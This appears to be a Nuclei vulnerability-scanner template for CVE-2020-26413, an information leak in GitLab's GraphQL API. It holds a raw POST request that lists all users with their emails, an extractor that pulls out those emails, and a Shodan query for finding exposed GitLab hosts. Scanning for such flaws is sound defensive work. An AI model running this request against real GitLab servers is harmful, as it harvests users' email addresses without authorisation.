53 lines
1.5 KiB
YAML
53 lines
1.5 KiB
YAML
id: CVE-2020-26413
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info:
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name: Gitlab User enumeration via Graphql API
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author: _0xf4n9x_,pikpikcu
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severity: medium
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description: An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.4 before 13.6.2. Information disclosure via GraphQL results in user email being unexpectedly visible.
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reference:
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- https://gitlab.com/gitlab-org/gitlab/-/issues/244275
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- https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json
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- https://nvd.nist.gov/vuln/detail/CVE-2020-26413
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.3
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cve-id: CVE-2020-26413
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cwe-id: CWE-200
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metadata:
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shodan-query: http.title:"GitLab"
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tags: cve,cve2020,gitlab,exposure,enum,graphql
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requests:
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- raw:
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- |
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POST /api/graphql HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{
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"query": "{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }",
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"variables": null,
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"operationName": null
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}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"username":'
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- '"avatarUrl":'
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- '"node":'
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: json
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part: body
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json:
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- '.data.users.edges[].node.email'
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